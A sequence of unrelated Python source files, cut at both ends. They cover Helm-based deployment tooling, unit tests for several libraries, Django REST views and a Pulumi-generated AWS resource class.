dry_run=self.dry_run)
logger.info(helm_command)
os.system(helm_command)
def build_values_dict(self):
values = {}
# custom image fields
self._set_image_field(values, 'repository', self.image_repository)
self._set_image_field(values, 'tag', self.image_tag)
self._set_image_field(values, 'pullPolicy', self.image_pull_policy)
# default environment variables for each host
if self.default_environment:
values['defaultEnvironment'] = self.default_environment
# A list of configurations for individual hosts
values['subscriptionHosts'] = self.subscription_hosts
return values
def _set_image_field(self, values, key, value):
if value:
values.setdefault('image', {})[key] = value
def add_subscription_host(self, name='', environment={}):
self.subscription_hosts.append({
'name': name,
'environment': environment,
})
@staticmethod
def write_values_to_file(values):
values_file_path = tempfile.mktemp(suffix='.yaml')
with open(values_file_path, 'w') as values_file:
yaml.dump(values, stream=values_file)
return values_file_path
@staticmethod
def build_helm_command(deployment_name, values_file_path, namespace=None, dry_run=False):
command = 'helm upgrade --install --debug'
if dry_run:
command += ' --dry-run'
if namespace:
command += ' --namespace {}'.format(namespace)
command += ' --values {}'.format(values_file_path)
chart_path = os.path.dirname(__file__)
command += ' {} {}'.format(deployment_name, chart_path)
return command
class SubscriptionDeployment(Deployment):
def __init__(self, ctx, name='', env=[]):
super(SubscriptionDeployment, self).__init__(ctx)
self.name = name
self.environment = {e[0]: e[1] for e in env}
self.run()
def build_values_dict(self):
self.add_subscription_host(self.name, self.environment)
return super(SubscriptionDeployment, self).build_values_dict()
class ManagementGroupDeployment(Deployment):
def __init__(self, ctx, management_group_id, env=[]):
super(ManagementGroupDeployment, self).__init__(ctx,
default_environment={e[0]: e[1] for e in env})
self.management_group_id = management_group_id
load_resources()
self.session = local_session(Session)
self.run()
def build_values_dict(self):
self._add_subscription_hosts()
return super(ManagementGroupDeployment, self).build_values_dict()
def _add_subscription_hosts(self):
client = self.session.client('azure.mgmt.managementgroups.ManagementGroupsAPI')
info = client.management_groups.get(
self.management_group_id, expand='children', recurse=True)
self._add_subscription_hosts_from_info(info)
def _add_subscription_hosts_from_info(self, info):
if info.type == SUBSCRIPTION_TYPE:
sub_id = info.name # The 'name' field of child info is the subscription id
self.add_subscription_host(
ManagementGroupDeployment.sub_name_to_deployment_name(info.display_name),
{
ENV_SUB_ID: sub_id,
ENV_CONTAINER_EVENT_QUEUE_NAME: 'c7n-{}'.format(info.name[-4:])
},
)
elif info.type == MANAGEMENT_GROUP_TYPE and info.children:
for child in info.children:
self._add_subscription_hosts_from_info(child)
@staticmethod
def sub_name_to_deployment_name(sub_name):
# Deployment names must use only lower case alpha numeric characters, -, _, and .
# They must also start/end with an alpha numeric character
return re.sub(r'[^A-Za-z0-9-\._]+', '-', sub_name).strip('-_.').lower()
@click.group()
@click.option('--deployment-name', '-d', default='cloud-custodian')
@click.option('--deployment-namespace', '-s', default='cloud-custodian')
@click.option('--image-repository')
@click.option('--image-tag')
@click.option('--image-pull-policy')
@click.option('--dry-run/--no-dry-run', default=False)
def cli(deployment_name, deployment_namespace, image_repository='', image_tag='',
image_pull_policy='', dry_run=False):
pass
@cli.command('subscription')
@click.option('--name', '-n', required=True)
@click.option('--env', '-e', type=click.Tuple([str, str]), multiple=True)
@click.pass_context
class SubscriptionDeploymentCommand(SubscriptionDeployment):
pass
@cli.command('management_group')
@click.pass_context
@click.option('--management-group-id', '-m', required=True)
@click.option('--env', '-e', type=click.Tuple([str, str]), multiple=True)
class ManagementGroupDeploymentCommand(ManagementGroupDeployment):
pass
if __name__ == '__main__':
cli()
| 7,259 | 2,167 |
import pytest
from year_2020.day15.rambunctious_recitation import get_number_spoken
@pytest.mark.parametrize(
"starting_numbers,num_turns,expected",
[
("0,3,6", 1, 0),
("0,3,6", 2, 3),
("0,3,6", 3, 6),
("0,3,6", 4, 0),
("0,3,6", 5, 3),
("0,3,6", 6, 3),
("0,3,6", 7, 1),
("0,3,6", 8, 0),
("0,3,6", 9, 4),
("0,3,6", 10, 0),
("0,3,6", 2020, 436),
("1,3,2", 2020, 1),
("2,1,3", 2020, 10),
("1,2,3", 2020, 27),
("2,3,1", 2020, 78),
("3,2,1", 2020, 438),
("3,1,2", 2020, 1836),
pytest.param("0,3,6", 30000000, 175594, marks=pytest.mark.slow),
pytest.param("1,3,2", 30000000, 2578, marks=pytest.mark.slow),
pytest.param("2,1,3", 30000000, 3544142, marks=pytest.mark.slow),
pytest.param("1,2,3", 30000000, 261214, marks=pytest.mark.slow),
pytest.param("2,3,1", 30000000, 6895259, marks=pytest.mark.slow),
pytest.param("3,2,1", 30000000, 18, marks=pytest.mark.slow),
pytest.param("3,1,2", 30000000, 362, marks=pytest.mark.slow),
],
)
def test_get_number_spoken(starting_numbers, num_turns, expected):
assert get_number_spoken(starting_numbers, num_turns) == expected
| 1,269 | 675 |
import unittest
import clpy
import numpy
class TestConcatenate(unittest.TestCase):
"""test clpy.manipulate.join.concatenate method"""
def get_numpy_clpy_concatenated_result(self, dtype, shapes, axis):
length = []
numpy_ar = []
clpy_ar = []
num_array = len(shapes)
for i in range(num_array):
length.append(numpy.prod(shapes[i]))
numpy_ar.append(numpy.arange(
length[i], dtype=dtype).reshape(shapes[i]))
clpy_ar.append(clpy.array(numpy_ar[i]))
clpy_result = clpy.concatenate((clpy_ar), axis).get()
numpy_result = numpy.concatenate((numpy_ar), axis)
return (numpy_result, clpy_result)
def test_concatenate_2d_2array_axis0(self):
dtype = "int64"
axis = 0
shapes = [(2, 2), (3, 2)]
numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result(
dtype, shapes, axis)
self.assertTrue(numpy.array_equal(clpy_result, numpy_result))
def test_concatenate_2d_2array_axis1(self):
dtype = "int64"
axis = 1
shapes = [(2, 2), (2, 3)]
numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result(
dtype, shapes, axis)
self.assertTrue(numpy.array_equal(clpy_result, numpy_result))
def test_concatenate_3d_3array_axis0(self):
dtype = "int64"
axis = 0
shapes = [(2, 2, 2), (3, 2, 2), (4, 2, 2)]
numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result(
dtype, shapes, axis)
self.assertTrue(numpy.array_equal(clpy_result, numpy_result))
def test_concatenate_3d_3array_axis1(self):
dtype = "int64"
axis = 1
shapes = [(2, 2, 2), (2, 3, 2), (2, 4, 2)]
numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result(
dtype, shapes, axis)
self.assertTrue(numpy.array_equal(clpy_result, numpy_result))
def test_concatenate_3d_3array_axis2(self):
dtype = "int64"
axis = 2
shapes = [(2, 2, 2), (2, 2, 3), (2, 2, 4)]
numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result(
dtype, shapes, axis)
self.assertTrue(numpy.array_equal(clpy_result, numpy_result))
def test_concatenate_3d_4array_axis0(self):
dtype = "int64"
axis = 0
shapes = [(2, 2, 2), (3, 2, 2), (4, 2, 2), (5, 2, 2)]
numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result(
dtype, shapes, axis)
self.assertTrue(numpy.array_equal(clpy_result, numpy_result))
def test_concatenate_3d_4array_axis1(self):
dtype = "int64"
axis = 1
shapes = [(2, 2, 2), (2, 3, 2), (2, 4, 2), (2, 5, 2)]
numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result(
dtype, shapes, axis)
self.assertTrue(numpy.array_equal(clpy_result, numpy_result))
def test_concatenate_3d_4array_axis2(self):
dtype = "int64"
axis = 2
shapes = [(2, 2, 2), (2, 2, 3), (2, 2, 4), (2, 2, 5)]
numpy_result, clpy_result = self.get_numpy_clpy_concatenated_result(
dtype, shapes, axis)
self.assertTrue(numpy.array_equal(clpy_result, numpy_result))
if __name__ == '__main__':
unittest.main()
| 3,345 | 1,276 |
"""
pygluu.kubernetes.postgres
~~~~~~~~~~~~~~~~~~~~~~~~~~
License terms and conditions for Gluu Cloud Native Edition:
https://www.apache.org/licenses/LICENSE-2.0
Handles Postgres operations
"""
from pygluu.kubernetes.helpers import get_logger, exec_cmd
from pygluu.kubernetes.kubeapi import Kubernetes
from pygluu.kubernetes.settings import SettingsHandler
logger = get_logger("gluu-postgres ")
class Postgres(object):
def __init__(self):
self.settings = SettingsHandler()
self.kubernetes = Kubernetes()
self.timeout = 120
def install_postgres(self):
self.uninstall_postgres()
self.kubernetes.create_namespace(name=self.settings.get("POSTGRES_NAMESPACE"),
labels={"app": "postgres"})
if self.settings.get("JACKRABBIT_CLUSTER") == "Y":
exec_cmd("helm repo add bitnami https://charts.bitnami.com/bitnami")
exec_cmd("helm repo update")
exec_cmd("helm install {} bitnami/postgresql "
"--set global.postgresql.postgresqlDatabase={} "
"--set global.postgresql.postgresqlPassword={} "
"--set global.postgresql.postgresqlUsername={} "
"--namespace={}".format("postgresql",
self.settings.get("JACKRABBIT_DATABASE"),
self.settings.get("JACKRABBIT_PG_PASSWORD"),
self.settings.get("JACKRABBIT_PG_USER"),
self.settings.get("POSTGRES_NAMESPACE")))
if self.settings.get("PERSISTENCE_BACKEND") == "sql" and self.settings.get("GLUU_SQL_DB_DIALECT") == "pgsql":
self.kubernetes.create_namespace(name=self.settings.get("GLUU_SQL_DB_NAMESPACE"),
labels={"app": "mysql"})
exec_cmd("helm install {} bitnami/postgresql "
"--set global.postgresql.postgresqlDatabase={} "
"--set global.postgresql.postgresqlPassword={} "
"--set global.postgresql.postgresqlUsername={} "
"--namespace={}".format("gluu",
self.settings.get("GLUU_SQL_DB_NAME"),
self.settings.get("GLUU_SQL_DB_PASSWORD"),
self.settings.get("GLUU_SQL_DB_USER"),
self.settings.get("GLUU_SQL_DB_NAMESPACE")))
if not self.settings.get("installer-settings.aws.lbType") == "alb":
self.kubernetes.check_pods_statuses(self.settings.get("POSTGRES_NAMESPACE"), "app=postgres",
self.timeout)
def uninstall_postgres(self):
logger.info("Removing gluu-postgres...")
logger.info("Removing postgres...")
exec_cmd("helm delete {} --namespace={}".format("sql",
self.settings.get("POSTGRES_NAMESPACE")))
if self.settings.get("PERSISTENCE_BACKEND") == "sql" and self.settings.get("GLUU_SQL_DB_DIALECT") == "pgsql":
exec_cmd("helm delete {} --namespace={}".format("gluu",
self.settings.get("GLUU_SQL_DB_NAMESPACE")))
| 3,422 | 936 |
"""
Base class for objects that support entry and exit tracing.
"""
import inspect
from sys import stderr
class TracedObject(object):
entry_trace = False
perf_count = None
@classmethod
def _print_stack(cls, stack, args, levels=6):
print >>stderr, 'Enter:', stack[1][3], stack[1][1], stack[1][2]
# print a few frames
print >>stderr, ' ', stack[2][3], stack[2][1], stack[2][2], args
for i in range(3, levels):
if stack[i][3] == '<module>':
break
print >>stderr, ' ', stack[i][3], stack[i][1], stack[i][2]
stderr.flush()
@classmethod
def _print_trace(cls, **kwargs):
""" Explicitly call this to trace a specific function. """
stack = inspect.stack()
cls._print_stack(stack, kwargs, 8)
@classmethod
def _entry(cls, **kwargs):
""" Trace function entry. """
if not cls.entry_trace and not cls.perf_count:
return
stack = inspect.stack()
cls._print_stack(stack, kwargs)
if cls.perf_count is not None:
caller = stack[1]
my_fun = caller[3]
if my_fun not in cls.perf_count:
cls.perf_count[my_fun] = 0
cls.perf_count[my_fun] += 1
@classmethod
def set_trace(cls, entry_trace=None):
cls.entry_trace = cls.entry_trace if entry_trace is None else entry_trace
@classmethod
def set_perf_count(cls, enable=True):
if enable:
cls.perf_count = {}
else:
cls.perf_count = None
@classmethod
def get_perf_count(cls):
return cls.perf_count
| 1,659 | 545 |
from rest_framework.authentication import TokenAuthentication
from rest_framework.generics import *
from rest_framework.permissions import *
from .serializers import *
class IsManager(BasePermission):
def has_permission(self, request, view):
return request.user.type == 'manager'
class IsDeputy(BasePermission):
def has_permission(self, request, view):
print(request.user.type)
return request.user.type == 'deputy'
class StudentListView(ListAPIView):
queryset = Student.objects.all()
serializer_class = StudentSerializer
permission_classes = [AllowAny]
class StudentAllView(RetrieveUpdateDestroyAPIView):
queryset = Student.objects.all()
serializer_class = StudentSerializer
permission_classes = [IsDeputy]
class StudentCreateView(CreateAPIView):
queryset = Student.objects.all()
serializer_class = StudentSerializer
permission_classes = [IsDeputy]
class TeacherListView(ListAPIView):
queryset = Teacher.objects.all()
serializer_class = TeacherSerializer
permission_classes = [AllowAny]
class TeacherAllView(RetrieveUpdateDestroyAPIView):
queryset = Teacher.objects.all()
serializer_class = TeacherSerializer
permission_classes = [IsDeputy]
class TeacherCreateView(CreateAPIView):
queryset = Teacher.objects.all()
serializer_class = TeacherSerializer
permission_classes = [IsDeputy]
class SubjectListView(ListAPIView):
queryset = Subject.objects.all()
serializer_class = SubjectSerializer
permission_classes = [AllowAny]
class SubjectAllView(RetrieveUpdateDestroyAPIView):
queryset = Subject.objects.all()
serializer_class = SubjectSerializer
permission_classes = [IsDeputy]
class SubjectCreateView(CreateAPIView):
queryset = Subject.objects.all()
serializer_class = SubjectSerializer
permission_classes = [IsDeputy]
class MarkListView(ListAPIView):
queryset = Mark.objects.all()
serializer_class = MarkSerializer
permission_classes = [AllowAny]
class MarkAllView(RetrieveUpdateDestroyAPIView):
queryset = Mark.objects.all()
serializer_class = MarkSerializer
permission_classes = [IsDeputy]
class MarkCreateView(CreateAPIView):
queryset = Mark.objects.all()
serializer_class = MarkSerializer
permission_classes = [IsDeputy]
class PairListView(ListAPIView):
queryset = Pair.objects.all()
serializer_class = PairSerializer
permission_classes = [AllowAny]
class PairAllView(RetrieveUpdateDestroyAPIView):
queryset = Pair.objects.all()
serializer_class = PairSerializer
permission_classes = [IsManager]
class PairCreateView(CreateAPIView):
queryset = Pair.objects.all()
serializer_class = PairSerializer
permission_classes = [IsManager]
class SubjectToTeacherListView(ListAPIView):
queryset = SubjectToTeacher.objects.all()
serializer_class = SubjectToTeacherSerializer
permission_classes = [AllowAny]
class SubjectToTeacherAllView(RetrieveUpdateDestroyAPIView):
queryset = SubjectToTeacher.objects.all()
serializer_class = SubjectToTeacherSerializer
permission_classes = [IsDeputy]
class SubjectToTeacherCreateView(CreateAPIView):
queryset = SubjectToTeacher.objects.all()
serializer_class = SubjectToTeacherSerializer
permission_classes = [IsDeputy]
class GroupListView(ListAPIView):
queryset = Group.objects.all()
serializer_class = GroupSerializer
permission_classes = [AllowAny]
class GroupCreateView(CreateAPIView):
queryset = Group.objects.all()
serializer_class = GroupSerializer
permission_classes = [IsDeputy]
class GroupAllView(RetrieveUpdateDestroyAPIView):
queryset = Group.objects.all()
serializer_class = GroupSerializer
permission_classes = [IsDeputy]
class StudentToGroupListView(ListAPIView):
queryset = StudentToGroup.objects.all()
serializer_class = StudentToGroupSerializer
permission_classes = [AllowAny]
class StudentToGroupAllView(RetrieveUpdateDestroyAPIView):
queryset = StudentToGroup.objects.all()
serializer_class = StudentToGroupSerializer
permission_classes = [IsDeputy]
class StudentToGroupCreateView(CreateAPIView):
queryset = StudentToGroup.objects.all()
serializer_class = StudentToGroupSerializer
permission_classes = [IsDeputy]
| 4,333 | 1,280 |
# Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the LICENSE file in
# the root directory of this source tree. An additional grant of patent rights
# can be found in the PATENTS file in the same directory.
import functools
from fairseq.models import MODEL_REGISTRY
dependencies = [
'regex',
'requests',
'sacremoses',
'sentencepiece',
'subword_nmt',
'torch',
]
for model_type, _cls in MODEL_REGISTRY.items():
for model_name in _cls.hub_models().keys():
globals()[model_name] = functools.partial(
_cls.from_pretrained,
model_name_or_path=model_name,
)
# to simplify the interface we only expose named models
#globals()[model_type] = _cls.from_pretrained
| 813 | 267 |
from typing import final
from unittest.mock import Mock
import pytest
from aioddd.testing import mock
from project.libs.user.application.password_forget_service import (
UserPasswordForgetService,
)
from project.libs.user.domain.repositories import UserNotifier, UserRepository
from tests.unit.project.libs.user.domain.aggregates_mothers import UserMother
from tests.unit.project.libs.user.domain.properties_mothers import UserPasswordMother
@final
class TestUserPasswordForgetService:
_mock_user_repository: Mock
_sut: UserPasswordForgetService
def setup(self) -> None:
self._mock_user_repository = mock(UserRepository, ['find_email', 'save_and_publish'])
self._mock_user_notifier = mock(UserNotifier, ['notify_user_password_forgotten'])
self._sut = UserPasswordForgetService(self._mock_user_repository, self._mock_user_notifier)
@pytest.mark.asyncio
async def test_reset_password_successfully(self) -> None:
user = UserMother.from_password(
UserPasswordMother.create(value='secret123456', hashed=False),
)
self._mock_user_repository.find_email.return_value = user
self._mock_user_notifier.notify_user_password_forgotten.return_value = None
self._mock_user_repository.save_and_publish.return_value = None
kwargs = {
'user_email': user.email(),
}
await self._sut(**kwargs)
self._mock_user_repository.find_email.assert_called_once_with(kwargs['user_email'])
self._mock_user_notifier.notify_user_password_forgotten.assert_called_once()
self._mock_user_repository.save_and_publish.assert_called_once_with(user)
| 1,677 | 509 |
import sys
import typing
from dataclasses import dataclass
if sys.version_info < (3, 9):
from typing_extensions import Annotated
else:
from typing import Annotated
from pydantic import BaseModel
from starlette.responses import Response
from starlette.testclient import TestClient
from xpresso import App, Form, FormEncodedField, FromFormData, FromFormField, Path
def test_form_field_scalar_defaults() -> None:
@dataclass(frozen=True)
class FormModel:
field: FromFormField[int]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == 2
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data={"field": "2"})
assert resp.status_code == 200, resp.content
def test_form_field_scalar_style_form_explode_true() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[int, FormEncodedField(style="form", explode=True)]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == 2
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data={"field": "2"})
assert resp.status_code == 200, resp.content
def test_form_field_scalar_style_form_explode_false() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[int, FormEncodedField(style="form", explode=False)]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == 2
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data={"field": "2"})
assert resp.status_code == 200, resp.content
def test_form_field_array_defaults() -> None:
@dataclass(frozen=True)
class FormModel:
field: FromFormField[typing.List[int]]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == [1, 2]
return Response()
app = App([Path("/", post=endpoint)])
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field", "1"), ("field", "2")])
assert resp.status_code == 200, resp.content
def test_form_field_array_style_form_explode_true() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[typing.List[int], FormEncodedField(explode=True)]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == [1, 2]
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field", "1"), ("field", "2")])
assert resp.status_code == 200, resp.content
def test_form_field_array_style_form_explode_false() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[typing.List[int], FormEncodedField(explode=False)]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == [1, 2]
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field", "1,2")])
assert resp.status_code == 200, resp.content
def test_form_field_array_style_spaceDelimited_explode_true() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[
typing.List[int], FormEncodedField(style="spaceDelimited", explode=True)
]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == [1, 2]
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field", "1"), ("field", "2")])
assert resp.status_code == 200, resp.content
def test_form_field_array_style_spaceDelimited_explode_false() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[
typing.List[int], FormEncodedField(style="spaceDelimited", explode=False)
]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == [1, 2]
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field", "1 2")])
assert resp.status_code == 200, resp.content
def test_form_field_array_style_pipeDelimited_explode_true() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[
typing.List[int], FormEncodedField(style="pipeDelimited", explode=True)
]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == [1, 2]
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field", "1"), ("field", "2")])
assert resp.status_code == 200, resp.content
def test_form_field_array_style_pipeDelimited_explode_false() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[
typing.List[int], FormEncodedField(style="pipeDelimited", explode=False)
]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == [1, 2]
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field", "1|2")])
assert resp.status_code == 200, resp.content
class ShallowObject(BaseModel):
a: int
b: str
def test_form_field_shallow_object_defaults() -> None:
@dataclass(frozen=True)
class FormModel:
field: FromFormField[ShallowObject]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == ShallowObject(a=1, b="2")
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("a", "1"), ("b", "2")])
assert resp.status_code == 200, resp.content
def test_form_field_shallow_object_style_form_explode_true() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[ShallowObject, FormEncodedField(explode=True)]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == ShallowObject(a=1, b="2")
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("a", "1"), ("b", "2")])
assert resp.status_code == 200, resp.content
def test_form_field_shallow_object_style_form_explode_false() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[ShallowObject, FormEncodedField(explode=False)]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == ShallowObject(a=1, b="2")
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field", "a,1,b,2")])
assert resp.status_code == 200, resp.content
def test_form_field_shallow_object_style_deepObject_explode_true() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[
ShallowObject, FormEncodedField(style="deepObject", explode=True)
]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == ShallowObject(a=1, b="2")
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("field[a]", "1"), ("field[b]", "2")])
assert resp.status_code == 200, resp.content
def test_form_field_deep_object_style_deepObject_explode_true() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[
ShallowObject, FormEncodedField(style="deepObject", explode=True)
]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == ShallowObject(a=1, b="2")
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post(
"/",
data=[
("field[a]", "1"),
("field[b]", "2"),
],
)
assert resp.status_code == 200, resp.content
def test_form_field_alias_scalar() -> None:
class FormModel(BaseModel):
field: Annotated[int, FormEncodedField(alias="realFieldName")]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == 2
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data={"realFieldName": "2"})
assert resp.status_code == 200, resp.content
def test_form_field_alias_array() -> None:
class FormModel(BaseModel):
field: Annotated[typing.List[int], FormEncodedField(alias="realFieldName")]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == [1, 2]
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", data=[("realFieldName", "1"), ("realFieldName", "2")])
assert resp.status_code == 200, resp.content
def test_form_field_alias_deepObject() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[
ShallowObject, FormEncodedField(style="deepObject", alias="readlFieldName")
]
async def endpoint(form: FromFormData[FormModel]) -> Response:
assert form.field == ShallowObject(a=1, b="2")
return Response()
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post(
"/",
data=[
("readlFieldName[a]", "1"),
("readlFieldName[b]", "2"),
],
)
assert resp.status_code == 200, resp.content
def test_invalid_serialization() -> None:
@dataclass(frozen=True)
class FormModel:
field: Annotated[ShallowObject, FormEncodedField(explode=False)]
async def endpoint(form: FromFormData[FormModel]) -> Response:
raise AssertionError("Should not be called") # pragma: no cover
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
# fields cannot be repeated if explode=False
# this is just an arbitrary example of a malformed serialzition
resp = client.post("/", data=[("field", "a,1"), ("field", "b,2")])
assert resp.status_code == 422, resp.content
assert resp.json() == {
"detail": [
{
"loc": ["body", "field"],
"msg": "Data is not a valid URL encoded form",
"type": "type_error",
}
]
}
def test_form_field_from_file() -> None:
@dataclass(frozen=True)
class FormModel:
field: FromFormField[str]
async def endpoint(
form: Annotated[FormModel, Form(enforce_media_type=False)]
) -> Response:
raise AssertionError("Should not be called") # pragma: no cover
app = App([Path("/", post=endpoint)])
with TestClient(app) as client:
resp = client.post("/", files=[("field", ("file.txt", b"abcd"))])
assert resp.status_code == 422, resp.content
assert resp.json() == {
"detail": [
{
"loc": ["body", "field"],
"msg": "Expected a string form field but received a file",
"type": "type_error.unexpectedfilereceived",
}
]
}
| 11,799 | 3,766 |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['InstanceArgs', 'Instance']
@pulumi.input_type
class InstanceArgs:
def __init__(__self__, *,
instance_attributes: Any,
service_id: pulumi.Input[str],
instance_id: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a Instance resource.
"""
pulumi.set(__self__, "instance_attributes", instance_attributes)
pulumi.set(__self__, "service_id", service_id)
if instance_id is not None:
pulumi.set(__self__, "instance_id", instance_id)
@property
@pulumi.getter(name="instanceAttributes")
def instance_attributes(self) -> Any:
return pulumi.get(self, "instance_attributes")
@instance_attributes.setter
def instance_attributes(self, value: Any):
pulumi.set(self, "instance_attributes", value)
@property
@pulumi.getter(name="serviceId")
def service_id(self) -> pulumi.Input[str]:
return pulumi.get(self, "service_id")
@service_id.setter
def service_id(self, value: pulumi.Input[str]):
pulumi.set(self, "service_id", value)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_id", value)
warnings.warn("""Instance is not yet supported by AWS Native, so its creation will currently fail. Please use the classic AWS provider, if possible.""", DeprecationWarning)
class Instance(pulumi.CustomResource):
warnings.warn("""Instance is not yet supported by AWS Native, so its creation will currently fail. Please use the classic AWS provider, if possible.""", DeprecationWarning)
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
instance_attributes: Optional[Any] = None,
instance_id: Optional[pulumi.Input[str]] = None,
service_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Resource Type definition for AWS::ServiceDiscovery::Instance
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: InstanceArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Resource Type definition for AWS::ServiceDiscovery::Instance
:param str resource_name: The name of the resource.
:param InstanceArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(InstanceArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
instance_attributes: Optional[Any] = None,
instance_id: Optional[pulumi.Input[str]] = None,
service_id: Optional[pulumi.Input[str]] = None,
__props__=None):
pulumi.log.warn("""Instance is deprecated: Instance is not yet supported by AWS Native, so its creation will currently fail. Please use the classic AWS provider, if possible.""")
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = InstanceArgs.__new__(InstanceArgs)
if instance_attributes is None and not opts.urn:
raise TypeError("Missing required property 'instance_attributes'")
__props__.__dict__["instance_attributes"] = instance_attributes
__props__.__dict__["instance_id"] = instance_id
if service_id is None and not opts.urn:
raise TypeError("Missing required property 'service_id'")
__props__.__dict__["service_id"] = service_id
super(Instance, __self__).__init__(
'aws-native:servicediscovery:Instance',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None) -> 'Instance':
"""
Get an existing Instance resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = InstanceArgs.__new__(InstanceArgs)
__props__.__dict__["instance_attributes"] = None
__props__.__dict__["instance_id"] = None
__props__.__dict__["service_id"] = None
return Instance(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="instanceAttributes")
def instance_attributes(self) -> pulumi.Output[Any]:
return pulumi.get(self, "instance_attributes")
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Output[str]:
return pulumi.get(self, "instance_id")
@property
@pulumi.getter(name="serviceId")
